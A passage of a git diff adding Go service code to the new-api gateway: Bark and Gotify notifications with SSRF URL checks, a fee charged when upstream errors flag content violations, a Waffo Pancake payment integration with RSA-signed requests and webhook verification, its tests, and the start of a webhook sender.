+			Key:    system_setting.WorkerValidKey,
+			Method: http.MethodGet,
+			Headers: map[string]string{
+				"User-Agent": "OneAPI-Bark-Notify/1.0",
+			},
+		}
+
+		resp, err = DoWorkerRequest(workerReq)
+		if err != nil {
+			return fmt.Errorf("failed to send bark request through worker: %v", err)
+		}
+		defer resp.Body.Close()
+
+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("bark request failed with status code: %d", resp.StatusCode)
+		}
+	} else {
+		// SSRF防护：验证Bark URL（非Worker模式）
+		fetchSetting := system_setting.GetFetchSetting()
+		if err := common.ValidateURLWithFetchSetting(finalURL, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+			return fmt.Errorf("request reject: %v", err)
+		}
+
+		// 直接发送请求
+		req, err = http.NewRequest(http.MethodGet, finalURL, nil)
+		if err != nil {
+			return fmt.Errorf("failed to create bark request: %v", err)
+		}
+
+		// 设置User-Agent
+		req.Header.Set("User-Agent", "OneAPI-Bark-Notify/1.0")
+
+		// 发送请求
+		client := GetHttpClient()
+		resp, err = client.Do(req)
+		if err != nil {
+			return fmt.Errorf("failed to send bark request: %v", err)
+		}
+		defer resp.Body.Close()
+
+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("bark request failed with status code: %d", resp.StatusCode)
+		}
+	}
+
+	return nil
+}
+
+func sendGotifyNotify(gotifyUrl string, gotifyToken string, priority int, data dto.Notify) error {
+	// 处理占位符
+	content := data.Content
+	for _, value := range data.Values {
+		content = strings.Replace(content, dto.ContentValueParam, fmt.Sprintf("%v", value), 1)
+	}
+
+	// 构建完整的 Gotify API URL
+	// 确保 URL 以 /message 结尾
+	finalURL := strings.TrimSuffix(gotifyUrl, "/") + "/message?token=" + url.QueryEscape(gotifyToken)
+
+	// Gotify优先级范围0-10，如果超出范围则使用默认值5
+	if priority < 0 || priority > 10 {
+		priority = 5
+	}
+
+	// 构建 JSON payload
+	type GotifyMessage struct {
+		Title    string `json:"title"`
+		Message  string `json:"message"`
+		Priority int    `json:"priority"`
+	}
+
+	payload := GotifyMessage{
+		Title:    data.Title,
+		Message:  content,
+		Priority: priority,
+	}
+
+	// 序列化为 JSON
+	payloadBytes, err := json.Marshal(payload)
+	if err != nil {
+		return fmt.Errorf("failed to marshal gotify payload: %v", err)
+	}
+
+	var req *http.Request
+	var resp *http.Response
+
+	if system_setting.EnableWorker() {
+		// 使用worker发送请求
+		workerReq := &WorkerRequest{
+			URL:    finalURL,
+			Key:    system_setting.WorkerValidKey,
+			Method: http.MethodPost,
+			Headers: map[string]string{
+				"Content-Type": "application/json; charset=utf-8",
+				"User-Agent":   "OneAPI-Gotify-Notify/1.0",
+			},
+			Body: payloadBytes,
+		}
+
+		resp, err = DoWorkerRequest(workerReq)
+		if err != nil {
+			return fmt.Errorf("failed to send gotify request through worker: %v", err)
+		}
+		defer resp.Body.Close()
+
+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("gotify request failed with status code: %d", resp.StatusCode)
+		}
+	} else {
+		// SSRF防护：验证Gotify URL（非Worker模式）
+		fetchSetting := system_setting.GetFetchSetting()
+		if err := common.ValidateURLWithFetchSetting(finalURL, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+			return fmt.Errorf("request reject: %v", err)
+		}
+
+		// 直接发送请求
+		req, err = http.NewRequest(http.MethodPost, finalURL, bytes.NewBuffer(payloadBytes))
+		if err != nil {
+			return fmt.Errorf("failed to create gotify request: %v", err)
+		}
+
+		// 设置请求头
+		req.Header.Set("Content-Type", "application/json; charset=utf-8")
+		req.Header.Set("User-Agent", "NewAPI-Gotify-Notify/1.0")
+
+		// 发送请求
+		client := GetHttpClient()
+		resp, err = client.Do(req)
+		if err != nil {
+			return fmt.Errorf("failed to send gotify request: %v", err)
+		}
+		defer resp.Body.Close()
+
+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("gotify request failed with status code: %d", resp.StatusCode)
+		}
+	}
+
+	return nil
+}
diff --git a/new-api/service/violation_fee.go b/new-api/service/violation_fee.go
new file mode 100644
index 0000000..4550885
--- /dev/null
+++ b/new-api/service/violation_fee.go
@@ -0,0 +1,164 @@
+package service
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/model_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/shopspring/decimal"
+
+	"github.com/gin-gonic/gin"
+)
+
+const (
+	ViolationFeeCodePrefix     = "violation_fee."
+	CSAMViolationMarker        = "Failed check: SAFETY_CHECK_TYPE"
+	ContentViolatesUsageMarker = "Content violates usage guidelines"
+)
+
+func IsViolationFeeCode(code types.ErrorCode) bool {
+	return strings.HasPrefix(string(code), ViolationFeeCodePrefix)
+}
+
+func HasCSAMViolationMarker(err *types.NewAPIError) bool {
+	if err == nil {
+		return false
+	}
+	if strings.Contains(err.Error(), CSAMViolationMarker) || strings.Contains(err.Error(), ContentViolatesUsageMarker) {
+		return true
+	}
+	msg := err.ToOpenAIError().Message
+	return strings.Contains(msg, CSAMViolationMarker) || strings.Contains(err.Error(), ContentViolatesUsageMarker)
+}
+
+func WrapAsViolationFeeGrokCSAM(err *types.NewAPIError) *types.NewAPIError {
+	if err == nil {
+		return nil
+	}
+	oai := err.ToOpenAIError()
+	oai.Type = string(types.ErrorCodeViolationFeeGrokCSAM)
+	oai.Code = string(types.ErrorCodeViolationFeeGrokCSAM)
+	return types.WithOpenAIError(oai, err.StatusCode, types.ErrOptionWithSkipRetry())
+}
+
+// NormalizeViolationFeeError ensures:
+// - if the CSAM marker is present, error.code is set to a stable violation-fee code and skip-retry is enabled.
+// - if error.code already has the violation-fee prefix, skip-retry is enabled.
+//
+// It must be called before retry decision logic.
+func NormalizeViolationFeeError(err *types.NewAPIError) *types.NewAPIError {
+	if err == nil {
+		return nil
+	}
+
+	if HasCSAMViolationMarker(err) {
+		return WrapAsViolationFeeGrokCSAM(err)
+	}
+
+	if IsViolationFeeCode(err.GetErrorCode()) {
+		oai := err.ToOpenAIError()
+		return types.WithOpenAIError(oai, err.StatusCode, types.ErrOptionWithSkipRetry())
+	}
+
+	return err
+}
+
+func shouldChargeViolationFee(err *types.NewAPIError) bool {
+	if err == nil {
+		return false
+	}
+	if err.GetErrorCode() == types.ErrorCodeViolationFeeGrokCSAM {
+		return true
+	}
+	// In case some callers didn't normalize, keep a safety net.
+	return HasCSAMViolationMarker(err)
+}
+
+func calcViolationFeeQuota(amount, groupRatio float64) int {
+	if amount <= 0 {
+		return 0
+	}
+	if groupRatio <= 0 {
+		return 0
+	}
+	quota := decimal.NewFromFloat(amount).
+		Mul(decimal.NewFromFloat(common.QuotaPerUnit)).
+		Mul(decimal.NewFromFloat(groupRatio)).
+		Round(0).
+		IntPart()
+	if quota <= 0 {
+		return 0
+	}
+	return int(quota)
+}
+
+// ChargeViolationFeeIfNeeded charges an additional fee after the normal flow finishes (including refund).
+// It uses Grok fee settings as the fee policy.
+func ChargeViolationFeeIfNeeded(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, apiErr *types.NewAPIError) bool {
+	if ctx == nil || relayInfo == nil || apiErr == nil {
+		return false
+	}
+	//if relayInfo.IsPlayground {
+	//	return false
+	//}
+	if !shouldChargeViolationFee(apiErr) {
+		return false
+	}
+
+	settings := model_setting.GetGrokSettings()
+	if settings == nil || !settings.ViolationDeductionEnabled {
+		return false
+	}
+
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	feeQuota := calcViolationFeeQuota(settings.ViolationDeductionAmount, groupRatio)
+	if feeQuota <= 0 {
+		return false
+	}
+
+	if err := PostConsumeQuota(relayInfo, feeQuota, 0, true); err != nil {
+		logger.LogError(ctx, fmt.Sprintf("failed to charge violation fee: %s", err.Error()))
+		return false
+	}
+
+	model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, feeQuota)
+	model.UpdateChannelUsedQuota(relayInfo.ChannelId, feeQuota)
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	tokenName := ctx.GetString("token_name")
+	oai := apiErr.ToOpenAIError()
+
+	other := map[string]any{
+		"violation_fee":        true,
+		"violation_fee_code":   string(types.ErrorCodeViolationFeeGrokCSAM),
+		"fee_quota":            feeQuota,
+		"base_amount":          settings.ViolationDeductionAmount,
+		"group_ratio":          groupRatio,
+		"status_code":          apiErr.StatusCode,
+		"upstream_error_type":  oai.Type,
+		"upstream_error_code":  fmt.Sprintf("%v", oai.Code),
+		"violation_fee_marker": CSAMViolationMarker,
+	}
+
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:      relayInfo.ChannelId,
+		ModelName:      relayInfo.OriginModelName,
+		TokenName:      tokenName,
+		Quota:          feeQuota,
+		Content:        "Violation fee charged",
+		TokenId:        relayInfo.TokenId,
+		UseTimeSeconds: int(useTimeSeconds),
+		IsStream:       relayInfo.IsStream,
+		Group:          relayInfo.UsingGroup,
+		Other:          other,
+	})
+
+	return true
+}
diff --git a/new-api/service/waffo_pancake.go b/new-api/service/waffo_pancake.go
new file mode 100644
index 0000000..9033c37
--- /dev/null
+++ b/new-api/service/waffo_pancake.go
@@ -0,0 +1,398 @@
+package service
+
+import (
+	"bytes"
+	"context"
+	"crypto"
+	"crypto/rsa"
+	"crypto/sha256"
+	"crypto/x509"
+	"encoding/base64"
+	"encoding/pem"
+	"fmt"
+	"io"
+	"math"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting"
+)
+
+const (
+	waffoPancakeAuthBaseURL      = "https://waffo-pancake-auth-service.vercel.app"
+	waffoPancakeCheckoutPath     = "/v1/actions/checkout/create-session"
+	waffoPancakeDefaultTolerance = 5 * time.Minute
+)
+
+type WaffoPancakePriceSnapshot struct {
+	Amount      string `json:"amount"`
+	TaxIncluded bool   `json:"taxIncluded"`
+	TaxCategory string `json:"taxCategory"`
+}
+
+type WaffoPancakeCreateSessionParams struct {
+	StoreID          string                     `json:"storeId"`
+	ProductID        string                     `json:"productId"`
+	ProductType      string                     `json:"productType"`
+	Currency         string                     `json:"currency"`
+	PriceSnapshot    *WaffoPancakePriceSnapshot `json:"priceSnapshot,omitempty"`
+	BuyerEmail       string                     `json:"buyerEmail,omitempty"`
+	SuccessURL       string                     `json:"successUrl,omitempty"`
+	ExpiresInSeconds *int                       `json:"expiresInSeconds,omitempty"`
+}
+
+type WaffoPancakeCheckoutSession struct {
+	SessionID   string `json:"sessionId"`
+	CheckoutURL string `json:"checkoutUrl"`
+	ExpiresAt   string `json:"expiresAt"`
+	OrderID     string `json:"orderId"`
+}
+
+type waffoPancakeAPIError struct {
+	Message string `json:"message"`
+	Layer   string `json:"layer"`
+}
+
+type waffoPancakeCreateSessionResponse struct {
+	Data   *WaffoPancakeCheckoutSession `json:"data"`
+	Errors []waffoPancakeAPIError       `json:"errors"`
+}
+
+type waffoPancakeWebhookData struct {
+	ID          string          `json:"id"`
+	OrderID     string          `json:"orderId"`
+	BuyerEmail  string          `json:"buyerEmail"`
+	Currency    string          `json:"currency"`
+	Amount      dto.StringValue `json:"amount"`
+	TaxAmount   dto.StringValue `json:"taxAmount"`
+	ProductName string          `json:"productName"`
+}
+
+type waffoPancakeWebhookEvent struct {
+	ID        string                  `json:"id"`
+	Timestamp string                  `json:"timestamp"`
+	EventType string                  `json:"eventType"`
+	EventID   string                  `json:"eventId"`
+	StoreID   string                  `json:"storeId"`
+	Mode      string                  `json:"mode"`
+	Data      waffoPancakeWebhookData `json:"data"`
+}
+
+func (e *waffoPancakeWebhookEvent) NormalizedEventType() string {
+	if e == nil {
+		return ""
+	}
+	return e.EventType
+}
+
+func CreateWaffoPancakeCheckoutSession(ctx context.Context, params *WaffoPancakeCreateSessionParams) (*WaffoPancakeCheckoutSession, error) {
+	if params == nil {
+		return nil, fmt.Errorf("missing checkout params")
+	}
+
+	body, err := common.Marshal(params)
+	if err != nil {
+		return nil, fmt.Errorf("marshal Waffo Pancake checkout payload: %w", err)
+	}
+
+	privateKey, err := normalizeRSAPrivateKey(setting.WaffoPancakePrivateKey)
+	if err != nil {
+		return nil, err
+	}
+
+	timestamp := strconv.FormatInt(time.Now().Unix(), 10)
+	signature, err := signWaffoPancakeRequest(http.MethodPost, waffoPancakeCheckoutPath, timestamp, string(body), privateKey)
+	if err != nil {
+		return nil, err
+	}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, waffoPancakeAuthBaseURL+waffoPancakeCheckoutPath, bytes.NewReader(body))
+	if err != nil {
+		return nil, fmt.Errorf("build Waffo Pancake checkout request: %w", err)
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("X-Merchant-Id", setting.WaffoPancakeMerchantID)
+	req.Header.Set("X-Timestamp", timestamp)
+	req.Header.Set("X-Signature", signature)
+	if setting.WaffoPancakeSandbox {
+		req.Header.Set("X-Environment", "test")
+	} else {
+		req.Header.Set("X-Environment", "prod")
+	}
+
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return nil, fmt.Errorf("request Waffo Pancake checkout session: %w", err)
+	}
+	defer resp.Body.Close()
+
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return nil, fmt.Errorf("read Waffo Pancake checkout response: %w", err)
+	}
+
+	var result waffoPancakeCreateSessionResponse
+	if err := common.Unmarshal(responseBody, &result); err != nil {
+		return nil, fmt.Errorf("decode Waffo Pancake checkout response: %w", err)
+	}
+	if resp.StatusCode >= http.StatusBadRequest {
+		if len(result.Errors) > 0 {
+			return nil, fmt.Errorf("Waffo Pancake error (%d): %s", resp.StatusCode, result.Errors[0].Message)
+		}
+		return nil, fmt.Errorf("Waffo Pancake checkout request failed with status %d", resp.StatusCode)
+	}
+	if len(result.Errors) > 0 {
+		return nil, fmt.Errorf("Waffo Pancake error: %s", result.Errors[0].Message)
+	}
+	if result.Data == nil || result.Data.CheckoutURL == "" || strings.TrimSpace(result.Data.SessionID) == "" {
+		return nil, fmt.Errorf("Waffo Pancake returned empty checkout session")
+	}
+	return result.Data, nil
+}
+
+func VerifyConfiguredWaffoPancakeWebhook(payload string, signatureHeader string) (*waffoPancakeWebhookEvent, error) {
+	environment := resolveWaffoPancakeWebhookEnvironment(payload)
+	return verifyWaffoPancakeWebhook(payload, signatureHeader, environment)
+}
+
+func ResolveWaffoPancakeTradeNo(event *waffoPancakeWebhookEvent) (string, error) {
+	if event == nil {
+		return "", fmt.Errorf("missing webhook event")
+	}
+
+	if tradeNo := strings.TrimSpace(event.Data.OrderID); tradeNo != "" {
+		topUp := model.GetTopUpByTradeNo(tradeNo)
+		if topUp != nil && topUp.PaymentMethod == model.PaymentMethodWaffoPancake {
+			return tradeNo, nil
+		}
+		return "", fmt.Errorf("waffo pancake order not found for webhook orderId=%s", tradeNo)
+	}
+
+	return "", fmt.Errorf("missing webhook orderId")
+}
+
+func normalizeRSAPrivateKey(raw string) (string, error) {
+	return normalizePEMKey(raw, "PRIVATE KEY", "RSA PRIVATE KEY")
+}
+
+func normalizeRSAPublicKey(raw string) (string, error) {
+	return normalizePEMKey(raw, "PUBLIC KEY", "RSA PUBLIC KEY")
+}
+
+func normalizePEMKey(raw string, pkcs8Type string, pkcs1Type string) (string, error) {
+	if strings.TrimSpace(raw) == "" {
+		return "", fmt.Errorf("%s is empty", strings.ToLower(pkcs8Type))
+	}
+
+	normalized := strings.TrimSpace(strings.ReplaceAll(raw, `\n`, "\n"))
+	if strings.Contains(normalized, "BEGIN ") {
+		block, _ := pem.Decode([]byte(normalized))
+		if block == nil {
+			return "", fmt.Errorf("invalid PEM encoded %s", strings.ToLower(pkcs8Type))
+		}
+		return string(pem.EncodeToMemory(block)), nil
+	}
+
+	der, err := base64.StdEncoding.DecodeString(strings.ReplaceAll(normalized, "\n", ""))
+	if err != nil {
+		return "", fmt.Errorf("invalid base64 encoded %s: %w", strings.ToLower(pkcs8Type), err)
+	}
+
+	pemType := pkcs8Type
+	if pkcs8Type == "PRIVATE KEY" {
+		if _, err := x509.ParsePKCS8PrivateKey(der); err != nil {
+			if _, err := x509.ParsePKCS1PrivateKey(der); err == nil {
+				pemType = pkcs1Type
+			} else {
+				return "", fmt.Errorf("invalid RSA private key")
+			}
+		}
+	} else {
+		if _, err := x509.ParsePKIXPublicKey(der); err != nil {
+			if _, err := x509.ParsePKCS1PublicKey(der); err == nil {
+				pemType = pkcs1Type
+			} else {
+				return "", fmt.Errorf("invalid RSA public key")
+			}
+		}
+	}
+
+	return string(pem.EncodeToMemory(&pem.Block{Type: pemType, Bytes: der})), nil
+}
+
+func signWaffoPancakeRequest(method string, path string, timestamp string, body string, privateKeyPEM string) (string, error) {
+	block, _ := pem.Decode([]byte(privateKeyPEM))
+	if block == nil {
+		return "", fmt.Errorf("invalid RSA private key PEM")
+	}
+
+	var privateKey *rsa.PrivateKey
+	switch block.Type {
+	case "PRIVATE KEY":
+		key, err := x509.ParsePKCS8PrivateKey(block.Bytes)
+		if err != nil {
+			return "", fmt.Errorf("parse PKCS#8 private key: %w", err)
+		}
+		parsed, ok := key.(*rsa.PrivateKey)
+		if !ok {
+			return "", fmt.Errorf("private key is not RSA")
+		}
+		privateKey = parsed
+	case "RSA PRIVATE KEY":
+		key, err := x509.ParsePKCS1PrivateKey(block.Bytes)
+		if err != nil {
+			return "", fmt.Errorf("parse PKCS#1 private key: %w", err)
+		}
+		privateKey = key
+	default:
+		return "", fmt.Errorf("unsupported private key type: %s", block.Type)
+	}
+
+	canonicalRequest := buildWaffoPancakeCanonicalRequest(method, path, timestamp, body)
+	digest := sha256.Sum256([]byte(canonicalRequest))
+	signature, err := rsa.SignPKCS1v15(nil, privateKey, crypto.SHA256, digest[:])
+	if err != nil {
+		return "", fmt.Errorf("sign Waffo Pancake request: %w", err)
+	}
+	return base64.StdEncoding.EncodeToString(signature), nil
+}
+
+func buildWaffoPancakeCanonicalRequest(method string, path string, timestamp string, body string) string {
+	bodyHash := sha256.Sum256([]byte(body))
+	return fmt.Sprintf(
+		"%s\n%s\n%s\n%s",
+		strings.ToUpper(method),
+		path,
+		timestamp,
+		base64.StdEncoding.EncodeToString(bodyHash[:]),
+	)
+}
+
+func verifyWaffoPancakeWebhook(payload string, signatureHeader string, environment string) (*waffoPancakeWebhookEvent, error) {
+	if signatureHeader == "" {
+		return nil, fmt.Errorf("missing X-Waffo-Signature header")
+	}
+
+	timestampPart, signaturePart := parseWaffoPancakeSignatureHeader(signatureHeader)
+	if timestampPart == "" || signaturePart == "" {
+		return nil, fmt.Errorf("malformed X-Waffo-Signature header")
+	}
+
+	timestampMs, err := strconv.ParseInt(timestampPart, 10, 64)
+	if err != nil {
+		return nil, fmt.Errorf("invalid timestamp in X-Waffo-Signature header")
+	}
+	if math.Abs(float64(time.Now().UnixMilli()-timestampMs)) > float64(waffoPancakeDefaultTolerance.Milliseconds()) {
+		return nil, fmt.Errorf("webhook timestamp outside tolerance window")
+	}
+
+	signatureInput := fmt.Sprintf("%s.%s", timestampPart, payload)
+	if err := verifyWaffoPancakeWebhookWithKey(signatureInput, signaturePart, resolveWaffoPancakeWebhookPublicKey(environment)); err != nil {
+		return nil, fmt.Errorf("invalid webhook signature")
+	}
+
+	var event waffoPancakeWebhookEvent
+	if err := common.Unmarshal([]byte(payload), &event); err != nil {
+		return nil, fmt.Errorf("parse Waffo Pancake webhook payload: %w", err)
+	}
+	return &event, nil
+}
+
+func parseWaffoPancakeSignatureHeader(header string) (string, string) {
+	var timestampPart string
+	var signaturePart string
+	for _, pair := range strings.Split(header, ",") {
+		key, value, found := strings.Cut(strings.TrimSpace(pair), "=")
+		if !found {
+			continue
+		}
+		switch key {
+		case "t":
+			timestampPart = value
+		case "v1":
+			signaturePart = value
+		}
+	}
+	return timestampPart, signaturePart
+}
+
+func resolveWaffoPancakeWebhookEnvironment(payload string) string {
+	var envelope struct {
+		Mode string `json:"mode"`
+	}
+	if err := common.Unmarshal([]byte(payload), &envelope); err != nil {
+		if setting.WaffoPancakeSandbox {
+			return "test"
+		}
+		return "prod"
+	}
+
+	switch strings.ToLower(strings.TrimSpace(envelope.Mode)) {
+	case "test":
+		return "test"
+	case "prod":
+		return "prod"
+	default:
+		if setting.WaffoPancakeSandbox {
+			return "test"
+		}
+		return "prod"
+	}
+}
+
+func resolveWaffoPancakeWebhookPublicKey(environment string) string {
+	if environment == "prod" {
+		return strings.TrimSpace(setting.WaffoPancakeWebhookPublicKey)
+	}
+	return strings.TrimSpace(setting.WaffoPancakeWebhookTestKey)
+}
+
+func verifyWaffoPancakeWebhookWithKey(signatureInput string, signaturePart string, rawPublicKey string) error {
+	publicKeyPEM, err := normalizeRSAPublicKey(rawPublicKey)
+	if err != nil {
+		return err
+	}
+
+	block, _ := pem.Decode([]byte(publicKeyPEM))
+	if block == nil {
+		return fmt.Errorf("invalid RSA public key PEM")
+	}
+
+	var publicKey *rsa.PublicKey
+	switch block.Type {
+	case "PUBLIC KEY":
+		key, err := x509.ParsePKIXPublicKey(block.Bytes)
+		if err != nil {
+			return fmt.Errorf("parse PKIX public key: %w", err)
+		}
+		parsed, ok := key.(*rsa.PublicKey)
+		if !ok {
+			return fmt.Errorf("public key is not RSA")
+		}
+		publicKey = parsed
+	case "RSA PUBLIC KEY":
+		key, err := x509.ParsePKCS1PublicKey(block.Bytes)
+		if err != nil {
+			return fmt.Errorf("parse PKCS#1 public key: %w", err)
+		}
+		publicKey = key
+	default:
+		return fmt.Errorf("unsupported public key type: %s", block.Type)
+	}
+
+	signature, err := base64.StdEncoding.DecodeString(signaturePart)
+	if err != nil {
+		return fmt.Errorf("decode webhook signature: %w", err)
+	}
+
+	digest := sha256.Sum256([]byte(signatureInput))
+	if err := rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, digest[:], signature); err != nil {
+		return fmt.Errorf("verify webhook signature: %w", err)
+	}
+	return nil
+}
diff --git a/new-api/service/waffo_pancake_test.go b/new-api/service/waffo_pancake_test.go
new file mode 100644
index 0000000..eeb1012
--- /dev/null
+++ b/new-api/service/waffo_pancake_test.go
@@ -0,0 +1,157 @@
+package service
+
+import (
+	"fmt"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting"
+	"github.com/glebarez/sqlite"
+	"github.com/stretchr/testify/require"
+	"gorm.io/gorm"
+)
+
+func setupWaffoPancakeTestDB(t *testing.T) *gorm.DB {
+	t.Helper()
+
+	common.UsingSQLite = true
+	common.UsingMySQL = false
+	common.UsingPostgreSQL = false
+	common.RedisEnabled = false
+
+	dsn := fmt.Sprintf("file:%s?mode=memory&cache=shared", strings.ReplaceAll(t.Name(), "/", "_"))
+	db, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{})
+	require.NoError(t, err)
+
+	model.DB = db
+	model.LOG_DB = db
+
+	require.NoError(t, db.AutoMigrate(&model.User{}, &model.TopUp{}))
+
+	t.Cleanup(func() {
+		sqlDB, err := db.DB()
+		if err == nil {
+			_ = sqlDB.Close()
+		}
+	})
+
+	return db
+}
+
+func TestWaffoPancakeCreateSessionResponseParsesDocumentedPayload(t *testing.T) {
+	var result waffoPancakeCreateSessionResponse
+	err := common.Unmarshal([]byte(`{
+		"data": {
+			"sessionId": "cs_550e8400-e29b-41d4-a716-446655440000",
+			"checkoutUrl": "https://checkout.waffo.ai/my-store-abc123/checkout/cs_550e8400-e29b-41d4-a716-446655440000",
+			"expiresAt": "2026-01-22T10:30:00.000Z"
+		}
+	}`), &result)
+	require.NoError(t, err)
+	require.NotNil(t, result.Data)
+	require.Equal(t, "cs_550e8400-e29b-41d4-a716-446655440000", result.Data.SessionID)
+	require.Empty(t, result.Data.OrderID)
+}
+
+func TestResolveWaffoPancakeTradeNo_UsesWebhookOrderIDWhenLocalOrderExists(t *testing.T) {
+	db := setupWaffoPancakeTestDB(t)
+
+	topUp := &model.TopUp{
+		UserId:        1,
+		Amount:        10,
+		Money:         29,
+		TradeNo:       "ORD_5dXBtmF2HLlHfbPNm0Wcnz",
+		PaymentMethod: model.PaymentMethodWaffoPancake,
+		CreateTime:    time.Now().Unix(),
+		Status:        common.TopUpStatusPending,
+	}
+	require.NoError(t, db.Create(topUp).Error)
+
+	tradeNo, err := ResolveWaffoPancakeTradeNo(&waffoPancakeWebhookEvent{
+		Data: waffoPancakeWebhookData{
+			OrderID: "ORD_5dXBtmF2HLlHfbPNm0Wcnz",
+		},
+	})
+	require.NoError(t, err)
+	require.Equal(t, "ORD_5dXBtmF2HLlHfbPNm0Wcnz", tradeNo)
+}
+
+func TestResolveWaffoPancakeTradeNo_FailsWhenWebhookOrderIDIsUnknown(t *testing.T) {
+	db := setupWaffoPancakeTestDB(t)
+
+	user := &model.User{
+		Id:       42,
+		Email:    "buyer@example.com",
+		Username: "buyer",
+		Status:   common.UserStatusEnabled,
+	}
+	require.NoError(t, db.Create(user).Error)
+
+	topUp := &model.TopUp{
+		UserId:        user.Id,
+		Amount:        10,
+		Money:         29,
+		TradeNo:       "WAFFO_PANCAKE-42-123456-abc123",
+		PaymentMethod: model.PaymentMethodWaffoPancake,
+		CreateTime:    time.Now().Unix(),
+		Status:        common.TopUpStatusPending,
+	}
+	require.NoError(t, db.Create(topUp).Error)
+
+	tradeNo, err := ResolveWaffoPancakeTradeNo(&waffoPancakeWebhookEvent{
+		Data: waffoPancakeWebhookData{
+			OrderID:    "ORD_unknown",
+			BuyerEmail: user.Email,
+			Amount:     "29.00",
+		},
+	})
+	require.Error(t, err)
+	require.Empty(t, tradeNo)
+}
+
+func TestResolveWaffoPancakeWebhookEnvironment(t *testing.T) {
+	originalSandbox := setting.WaffoPancakeSandbox
+	t.Cleanup(func() {
+		setting.WaffoPancakeSandbox = originalSandbox
+	})
+
+	testCases := []struct {
+		name     string
+		payload  string
+		expected string
+		sandbox  bool
+	}{
+		{
+			name:     "test mode",
+			payload:  `{"mode":"test"}`,
+			expected: "test",
+		},
+		{
+			name:     "prod mode",
+			payload:  `{"mode":"prod"}`,
+			expected: "prod",
+		},
+		{
+			name:     "missing mode falls back to sandbox",
+			payload:  `{}`,
+			expected: "test",
+			sandbox:  true,
+		},
+		{
+			name:     "invalid mode falls back to prod",
+			payload:  `{"mode":"staging"}`,
+			expected: "prod",
+		},
+	}
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			setting.WaffoPancakeSandbox = tc.sandbox
+			environment := resolveWaffoPancakeWebhookEnvironment(tc.payload)
+			require.Equal(t, tc.expected, environment)
+		})
+	}
+}
diff --git a/new-api/service/webhook.go b/new-api/service/webhook.go
new file mode 100644
index 0000000..bab8842
--- /dev/null
+++ b/new-api/service/webhook.go
@@ -0,0 +1,126 @@
+package service
+
+import (
+	"bytes"
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+)
+
+// WebhookPayload webhook 通知的负载数据
+type WebhookPayload struct {
+	Type      string        `json:"type"`
+	Title     string        `json:"title"`
+	Content   string        `json:"content"`
+	Values    []interface{} `json:"values,omitempty"`
+	Timestamp int64         `json:"timestamp"`
+}
+
+// generateSignature 生成 webhook 签名
+func generateSignature(secret string, payload []byte) string {
+	h := hmac.New(sha256.New, []byte(secret))
+	h.Write(payload)
+	return hex.EncodeToString(h.Sum(nil))
+}
+
+// SendWebhookNotify 发送 webhook 通知
+func SendWebhookNotify(webhookURL string, secret string, data dto.Notify) error {
+	// 处理占位符
+	content := data.Content
+	for _, value := range data.Values {
+		content = fmt.Sprintf(content, value)
+	}
+
+	// 构建 webhook 负载
+	payload := WebhookPayload{
+		Type:      data.Type,
+		Title:     data.Title,
+		Content:   content,
+		Values:    data.Values,
+		Timestamp: time.Now().Unix(),
+	}
+
+	// 序列化负载
+	payloadBytes, err := json.Marshal(payload)
+	if err != nil {
+		return fmt.Errorf("failed to marshal webhook payload: %v", err)
+	}
+
+	// 创建 HTTP 请求
+	var req *http.Request
+	var resp *http.Response
+
+	if system_setting.EnableWorker() {
+		// 构建worker请求数据
+		workerReq := &WorkerRequest{
+			URL:    webhookURL,
+			Key:    system_setting.WorkerValidKey,
+			Method: http.MethodPost,
+			Headers: map[string]string{
+				"Content-Type": "application/json",
+			},
+			Body: payloadBytes,
+		}
+
+		// 如果有secret，添加签名到headers
+		if secret != "" {
+			signature := generateSignature(secret, payloadBytes)
+			workerReq.Headers["X-Webhook-Signature"] = signature
+			workerReq.Headers["Authorization"] = "Bearer " + secret
+		}
+
+		resp, err = DoWorkerRequest(workerReq)
+		if err != nil {
+			return fmt.Errorf("failed to send webhook request through worker: %v", err)
+		}
+		defer resp.Body.Close()
+
